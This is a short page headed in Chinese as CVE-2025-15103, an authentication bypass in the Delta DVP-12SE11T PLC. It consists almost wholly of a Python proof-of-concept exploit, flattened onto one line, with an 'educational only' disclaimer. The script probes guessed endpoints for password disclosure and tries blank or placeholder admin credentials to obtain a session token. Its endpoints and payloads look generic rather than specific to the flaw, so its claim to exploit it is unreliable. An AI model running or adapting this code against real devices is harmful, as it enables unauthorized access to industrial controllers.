CVE-2025-15103 Delta DVP-12SE11T 认证绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-15103 PoC - Delta DVP-12SE11T Authentication Bypass This PoC demonstrates the authentication bypass vulnerability in Delta DVP-12SE11T PLC devices. Note: This code is for educational and authorized security testing purposes only. """ import requests import sys import json def exploit_auth_bypass(target_ip, target_port=80): """ Attempt to exploit CVE-2025-15103 authentication bypass vulnerability. Args: target_ip: Target device IP address target_port: Target device port (default: 80) Returns: dict: Exploitation result with status and details """ result = { 'vulnerability': 'CVE-2025-15103', 'target': f'{target_ip}:{target_port}', 'status': 'unknown', 'details': {} } base_url = f'http://{target_ip}:{target_port}' # Step 1: Information gathering - enumerate accessible endpoints endpoints = [ '/api/system/info', '/api/auth/login', '/api/config/password', '/cgi-bin/login.cgi', '/api/user/list' ] print(f"[*] Starting CVE-2025-15103 exploitation on {target_ip}:{target_port}") for endpoint in endpoints: try: response = requests.get(f'{base_url}{endpoint}', timeout=5) if response.status_code == 200: print(f"[+] Endpoint {endpoint} accessible - Status: {response.status_code}") # Step 2: Check for password disclosure in response if 'password' in response.text.lower() or 'pwd' in response.text.lower(): print(f"[!] Potential password information found at {endpoint}") result['details']['password_disclosure_endpoint'] = endpoint result['details']['response_preview'] = response.text[:500] except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") # Step 3: Attempt authentication bypass with partial credentials bypass_payloads = [ {'username': 'admin', 'password': ''}, {'username': 'admin', 'password': 'partial_credential'}, {'Authorization': 'Basic YWRtaW46'} ] print("[*] Attempting authentication bypass techniques...") for i, payload in enumerate(bypass_payloads, 1): try: response = requests.post( f'{base_url}/api/auth/login', json=payload, headers={'Content-Type': 'application/json'}, timeout=5 ) if response.status_code == 200 and 'token' in response.text: print(f"[!] Authentication bypass successful with payload {i}") result['status'] = 'vulnerable' result['details']['bypass_method'] = f'Payload {i}' result['details']['session_token'] = response.json().get('token', 'N/A') return result except Exception as e: print(f"[-] Bypass attempt {i} failed: {str(e)}") result['status'] = 'not_vulnerable_or_protected' return result def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_15103_poc.py <target_ip> [port]") print("Example: python cve_2025_15103_poc.py 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 result = exploit_auth_bypass(target_ip, target_port) print("\n[*] Exploitation complete. Result:") print(json.dumps(result, indent=2)) if __name__ == '__main__': main()